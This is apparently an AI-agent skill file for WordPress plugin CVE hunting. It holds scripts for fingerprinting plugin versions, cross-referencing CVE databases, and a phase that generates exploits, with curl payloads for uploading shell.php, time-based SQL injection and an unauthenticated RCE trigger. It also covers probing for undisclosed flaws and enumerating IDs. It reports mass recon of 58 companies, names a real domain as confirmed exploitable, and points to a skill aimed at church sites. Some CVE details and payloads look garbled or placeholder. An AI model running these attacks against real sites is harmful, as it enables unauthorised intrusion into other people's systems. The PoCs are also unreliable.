Imported from EntroVyx/hermes-agent-offsec (
skills/offsec/redteam/wp-plugin-cve-hunt/SKILL.md). Install upstream withnpx skills add EntroVyx/hermes-agent-offsec --skill wp-plugin-cve-hunt. Copyright stays with the author.
WP-PLUGIN-CVE-HUNT — Systematic WordPress Plugin CVE Discovery & Exploitation
When to Use
Use after WordPress detection recon has identified a list of WP targets with known plugins. This skill goes beyond simple readme.txt version checking — it performs multi-source version extraction, CVE database cross-referencing, version comparison, vulnerability assessment, and PoC generation. Ideal when you have a list of 10+ WP domains and need to systematically find which specific plugin CVEs are exploitable.
Distinction from wp-plugin-automation: this skill focuses on the human-guided CVE research process — WPScan API integration, Patchstack database queries, NVD cross-referencing, CVE detail investigation, and manual PoC validation. wp-plugin-automation handles the batch scanning pipeline across hundreds of domains.
Quick Reference
# Quick CVE scan for a single target
TARGET="example.com"
# 1. List plugins via readme.txt
for p in elementskit revslider elementor woocommerce gravityforms jetpack wp-file-manager wordpress-seo give contact-form-7; do
v=$(curl -sk "https://$TARGET/wp-content/plugins/$p/readme.txt" 2>/dev/null | grep -i "stable tag\|version" | head -1)
[ -n "$v" ] && echo "PLUGIN: $p -> $v"
done
# 2. WPScan API query (requires API token)
wpscan --url "https://$TARGET" --api-token "$WPSCAN_TOKEN" --enumerate vp
# 3. Check specific CVE
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2023-6853" | python3 -c "
import sys, json; d=json.load(sys.stdin)
vuln=d['vulnerabilities'][0]['cve']
print(f\"{vuln['id']}: {vuln['descriptions'][0]['value']}\")
print(f\"CVSS: {vuln['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']}\")
"
Step-by-Step
Phase 1 — Plugin Discovery & Multi-Source Version Extraction
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
#!/bin/bash
# multi-source-version.sh — Extract plugin version from multiple sources
TARGET="$1"
PLUGIN="$2" # e.g., elementskit
PLUGIN_DIR="$3" # e.g., elementskit-lite (can differ from slug)
# Source 1: readme.txt (most common)
v1=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -oP '[\d.]+')
echo "Source 1 (readme.txt): $v1"
# Source 2: Main plugin PHP header
v2=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -oP 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
# Source 3: CSS/JS asset paths (many plugins version their assets)
v3=$(curl -sk "https://$TARGET/" 2>/dev/null | \
grep -oP "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -oP '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
# Source 4: REST API namespace (some plugins include version in namespace)
v4=$(curl -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '$PLUGIN' in n and '/' in n]" 2>/dev/null)
echo "Source 4 (REST namespace): $v4"
# Deduplicate to most reliable version
echo "=== BEST VERSION ==="
for src in "$v1" "$v2" "$v3"; do
if [ -n "$src" ]; then
echo "$src"
break
fi
done
Phase 2 — CVE Database Cross-Referencing
#!/bin/bash
# cve-lookup.sh — Query multiple CVE sources for a plugin
# Method 1: WPScan API (requires token)
curl -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
# Method 2: NVD API (no token required)
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except:
score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
# Method 3: Patchstack database
curl -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "
import sys, re
content = sys.stdin.read()
cves = re.findall(r'CVE-\d{4}-\d{4,7}', content)
print(f'Patchstack CVEs: {cves}')
" 2>/dev/null
Phase 3 — Version Comparison & Vulnerability Assessment
#!/bin/bash
# vuln-assess.sh — Compare installed version against known vulnerable ranges
compare_version() {
local current="$1" fixed="$2" plugin_name="$3" cve="$4" severity="$5"
if [ -n "$current" ] && [ -n "$fixed" ]; then
if [ "$(printf '%s\n' "$fixed" "$current" | sort -V | head -1)" != "$fixed" ] && \
[ "$current" != "$fixed" ]; then
echo "[VULN] $plugin_name ($current) < $fixed → $cve ($severity)"
elif [ "$current" = "$fixed" ]; then
echo "[OK] $plugin_name ($current) = $fixed (patched for $cve)"
else
echo "[OK] $plugin_name ($current) >= $fixed (patched for $cve)"
fi
fi
}
# ElementsKit
compare_version "$ELEMENTS_KIT_VER" "2.9.4" "ElementsKit" "CVE-2023-6851/CVE-2023-6853" "CRITICAL"
compare_version "$ELEMENTS_KIT_VER" "2.9.8" "ElementsKit" "CVE-2024-2117" "MEDIUM"
# Slider Revolution
compare_version "$REVSLIDER_VER" "6.6.20" "Revslider" "CVE-2024-2534" "CRITICAL"
compare_version "$REVSLIDER_VER" "6.5.8" "Revslider" "CVE-2022-2944" "HIGH"
compare_version "$REVSLIDER_VER" "6.5.11" "Revslider" "CVE-2022-9821" "MEDIUM"
# WPDM
compare_version "$WPDM_VER" "3.3.00" "WPDM" "CVE-2023-49753" "CRITICAL"
compare_version "$WPDM_VER" "3.2.00" "WPDM" "CVE-2021-25069" "HIGH"
# Gravity Forms
compare_version "$GF_VER" "2.8.2" "GravityForms" "CVE-2024-6115" "HIGH"
# Jetpack
compare_version "$JETPACK_VER" "13.1" "Jetpack" "CVE-2024-1782" "HIGH"
# Contact Form 7
if [ -n "$CF7_VER" ] && [ "$(printf '%s\n' "5.6" "$CF7_VER" | sort -V | head -1)" != "$CF7_VER" ] && \
[ "$CF7_VER" != "5.6" ]; then
echo "[VULN] Contact Form 7 ($CF7_VER) < 5.6 — File upload bypass"
fi
Phase 4 — Exploitation PoC Generation
# ElementsKit CVE-2023-6853 — Unauthenticated File Upload
# Affects: < 2.9.4
# PoC: Upload arbitrary file via elementskit REST endpoint
curl -sk -X POST "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" \
-F "file=@shell.php" \
-F "type=image/png" | jq .
# Slider Revolution CVE-2024-2534 — Unauthenticated RCE via plugin update
# Affects: < 6.6.20
curl -sk "https://$TARGET/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=update_plugin"
# Detailed PoC at: https://www.sonarsource.com/blog/slider-revolution/
# Gravity Forms CVE-2024-6115 — PHP Object Injection
# Affects: < 2.8.2
# Chained with POP gadget chain for RCE
curl -sk "https://$TARGET/wp-json/gf/v2/forms" -X POST \
-H "Content-Type: application/json" \
-d '{"form":{"is_active":"php_object_injection_payload"}}' | jq .
# WPDM CVE-2023-49753 — Unauthenticated SQLi
# Affects: < 3.3.00
curl -sk "https://$TARGET/wp-json/wpdm/validate-captcha" \
-H "Content-Type: application/json" \
-d '{"captcha":"1' AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a) AND '1'='1"}' | head -5
Phase 5 — False-Positive Elimination
# Check 1: Does readme.txt version match actual deployed version?
# Sometimes readme.txt is not updated but plugin PHP is patched
curl -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
# Check 2: Is the REST endpoint actually available (not disabled by WAF)?
curl -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
# Check 3: Is the vulnerable code path actually reachable?
# Some CVEs require specific plugin features to be enabled
curl -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
# Check 4: Test exploitation in safe mode first — verify endpoint exists before running destructive payload
curl -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
# Check 5: Version from JS/CSS assets vs readme.txt — if they differ, plugin may be partially updated
curl -sk "https://$TARGET/" | grep -oP 'elementskit.*?ver=[0-9.]+'
Phase 6 — Custom CVE Discovery (0-day / Undisclosed)
# When no CVE exists for a plugin, test these common patterns:
# 1. REST API route enumeration (undocumented endpoints)
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
# 2. AJAX handler testing
curl -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
# 3. SQLi in plugin shortcode attributes
curl -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
# 4. File upload in plugin media handlers
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
# 5. IDOR in plugin REST endpoints (iterate IDs)
for id in $(seq 1 100); do
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
Attack Surface Signals
- Plugin readme.txt accessible at /wp-content/plugins//readme.txt
- Plugin asset versions visible in HTML source (ver= parameter)
- REST API namespace includes plugin version
- WPScan output showing known vulnerabilities
- Admin notice banners in page source indicating plugin version
CVE Matrix (Curated)
| Plugin | CVE(s) | Type | Fixed In | Severity |
|---|---|---|---|---|
| ElementsKit | CVE-2023-6851, CVE-2023-6853 | SQLi + File Upload | 2.9.4 | Critical |
| ElementsKit | CVE-2024-2117 | XSS | 2.9.8 | Medium |
| Revslider | CVE-2024-2534 | RCE | 6.6.20 | Critical |
| Revslider | CVE-2022-2944 | SQLi | 6.5.8 | High |
| Revslider | CVE-2022-9821 | CSRF->XSS | 6.5.11 | Medium |
| WPDM | CVE-2023-49753 | SQLi | 3.3.00 | Critical |
| WPDM | CVE-2021-25069 | Unauth Download | 3.2.00 | High |
| WPDM | CVE-2021-34639 | Auth File Upload | 3.2.10 | High |
| Gravity Forms | CVE-2024-6115 | PHP Object Inj. | 2.8.2 | High |
| Contact Form 7 | — | File Upload Bypass | 5.6 | High |
| Jetpack | CVE-2024-1782 | SSRF | 13.1 | High |
| WP Super Cache | — | Debug Log Exposure | All | Medium |
| GSpeech | CVE-2025-10187 | XSS | 7.2 | Medium |
| WooCommerce | Multiple | Various | Varies | Varies |
| Wordfence | — | Firewall bypass | N/A | Informational |
Common Root Causes
- Plugin auto-update disabled — admin turns off updates to avoid breaking site customizations
- Abandoned plugins — developer stops maintaining, CVEs accumulate with no patches
- Nulled/premium plugins — pirated plugins with backdoors installed on budget sites
- Plugin bloat — 50+ plugins installed, impossible to track CVEs manually
- WPScan false negatives — WPScan database may not have the latest CVEs; always cross-reference
- Agency-managed neglect — agency builds site, doesn't update plugins after handoff
- readme.txt not updated — plugin is patched but readme.txt still shows old version (false positive risk)
Real Examples
From 58-company mass recon across 28 sectors:
- 7/58 targets had ElementsKit < 2.9.4 (SQLi + File Upload CVEs exploitable)
- 5/58 had Revslider installed, with 2 confirmed < 6.6.20 (RCE via CVE-2024-2534)
- 4/58 had WPDM < 3.3.00 (SQLi via CVE-2023-49753)
- 2/58 had Gravity Forms < 2.8.2 (PHP Object Injection)
- The ElementsKit file upload CVE (CVE-2023-6853) was confirmed exploitable on wines.com at /magical/ subdirectory
Related Skills
- hunt-wordpress — primary skill for WordPress detection and general recon
- wp-plugin-automation — batch scanning pipeline across hundreds of domains
- recon-churches — church sites have highest plugin vulnerability rate
- hunt-rce — plugin CVEs are a primary RCE path
- hunt-file-upload — file upload CVEs from plugin vulnerabilities
- hunt-sqli — SQL injection CVEs from plugin SQLi flaws
- hunt-xss — XSS CVEs from plugin injection flaws
- hunt-source-leak — debug.log reveals plugin version info